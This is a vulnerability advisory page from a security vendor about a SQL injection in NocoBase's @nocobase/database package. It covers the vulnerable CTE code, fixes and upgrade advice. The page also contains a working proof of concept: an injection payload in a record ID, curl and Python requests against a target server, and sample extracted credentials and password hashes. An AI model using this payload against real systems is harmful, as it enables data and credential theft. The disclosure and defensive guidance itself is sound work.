GHSA-4948-f92q-f432 is a high-severity (CVSS 7.5) vulnerability in @nocobase/database. O3 Security confirms whether GHSA-4948-f92q-f432 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
@nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
@nocobase/databasenpmDescription
Summary
The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.
Affected component: @nocobase/database (core)
Affected versions: <= 2.0.32 (confirmed)
Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys
Vulnerable Code
packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84
const queryParentSQL = (options: {
db: Database;
nodeIds: any[];
collection: Collection;
foreignKey: string;
targetKey: string;
}) => {
const { collection, db, nodeIds } = options;
const tableName = collection.quotedTableName();
const { foreignKey, targetKey } = options;
const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
const targetKeyField = collection.model.rawAttributes[targetKey].field;
const queryInterface = db.sequelize.getQueryInterface();
const q = queryInterface.quoteIdentifier.bind(queryInterface);
return `WITH RECURSIVE cte AS (
SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
FROM ${tableName}
WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}') // <-- INJECTION
UNION ALL
SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
FROM ${tableName} AS t
INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
)
SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};
This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:
// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
const targetKey = association.targetKey;
const sql = queryParentSQL({
db: this.db, collection, foreignKey, targetKey,
nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
});
const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}
PoC
The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.
Injection ID value:
root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1
Generated SQL (3 valid UNION ALL branches):
WITH RECURSIVE cte AS (
SELECT "id", "parentId" FROM "table"
WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
UNION ALL
SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte
The CAST-to-integer triggers a runtime error whose message contains the subquery result.
TOKEN="<jwt_token>"
# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
{"name":"id","type":"string","primaryKey":true,"interface":"input"},
{"name":"title","type":"string","interface":"input"},
{"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
{"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
]}'
# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"id":"root","title":"Root"}'
# 3. Create injection parent — error-based extraction of admin email
python3 -c "
import requests, json
headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}
payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\"
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
json={'id': payload_id, 'title': 'x'})
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
json={'id': 'child', 'title': 'c', 'parentId': payload_id})
r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,
params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})
print(json.dumps(r.json(), indent=2))
"
# Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"[email protected]\""}]}
# ^^^^^^^^^^^^^^^^^^^^^^^
# Exfiltrated data in error message
Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):
| Subquery | Extracted Value |
|---|---|
SELECT version() | PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu... |
SELECT current_database() | nocobase |
SELECT email FROM users ORDER BY id LIMIT 1 | [email protected] |
SELECT password FROM users ORDER BY id LIMIT 1 | 006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38 |
| `SELECT string_agg(email||':' |
Impact
- Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).
- Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.
- Availability: Resource-exhaustive queries or destructive DDL.
- Scope change: On PostgreSQL with superuser,
COPY ... TO PROGRAMachieves OS command execution. - Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in
plugin-field-sort/src/server/sort-field.ts:124.
Fix Suggestion
-
Use parameterized queries. Replace the string concatenation with bind parameters:
const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(','); const sql = `WITH RECURSIVE cte AS ( SELECT ${q(targetKeyField)}, ${q(foreignKeyField)} FROM ${tableName} WHERE ${q(targetKeyField)} IN (${placeholders}) UNION ALL ... ) SELECT ... FROM cte`; return { sql, bind: nodeIds };Then call
db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction }). -
Apply the same fix to
plugin-field-sort/src/server/sort-field.ts:124, which has an identical concatenation pattern withfilteredScopeValue. -
Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (
',",;,--) in string-type primary key fields.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nocobase/database | all versions | 2.0.39 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nocobase/database. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @nocobase/database to 2.0.39 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4948-f92q-f432 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4948-f92q-f432 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4948-f92q-f432. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4948-f92q-f432 in your dependencies?
O3 detects GHSA-4948-f92q-f432 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.